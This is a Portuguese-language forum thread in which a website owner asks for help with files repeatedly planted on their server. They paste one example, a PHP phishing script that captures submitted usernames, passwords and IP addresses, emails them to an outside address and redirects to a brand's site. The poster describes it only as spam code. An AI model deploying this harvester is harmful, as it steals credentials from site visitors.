Estão Inserindo Arquivos no servidor onde fica hospedado o site, como impedir?

Programação
#1

Boa Tarde a todos!
Nos ultimos dias venho notando que arquivos estranhos estão sendo
inseridos no local onde o site ta hospedado.

um exemplo de código que estão inserindo é esse:

  <?php

$ip = getenv(“REMOTE_ADDR”);
$datamasii=date(“D M d, Y g:i a”);
$message .= “Zoominfo Result”."\n";
$message .= “User : “.$_POST[‘user’].”\n”;
$message .= “Password: " .$_POST[‘pass’].”\n";
$message .= “IP: “.$ip.”\n”;
mail($recipient,$ip,$message);

$recipient = "james333david@yahoo.com";
$subject = “Result!!!”;
$headers = “From: Zoominfo 99@banglamail.com”;
$headers .= $_POST[‘eMailAdd’]."\n";
$headers .= “MIME-Version: 1.0\n”;
mail("", “yahoo”, $message);
if (mail($recipient,$ip,$message,$headers))

{
?>

	   <script language=javascript>

window.location=‘https://www.zoominfo.com’;

<? } else { echo "ERROR! Please go back and try again."; } ?>

O cógigo é responsável por enviar spans, ja trocamos a senha do servidor, formatei a máquina onde trabalho, e continuam inserindo esses arquivos…
já não sei oque fazer… alguem pode me ajudar?

#2

Onde fica esse servidor? Deixou alguma porta aberta no Firewall para entrada?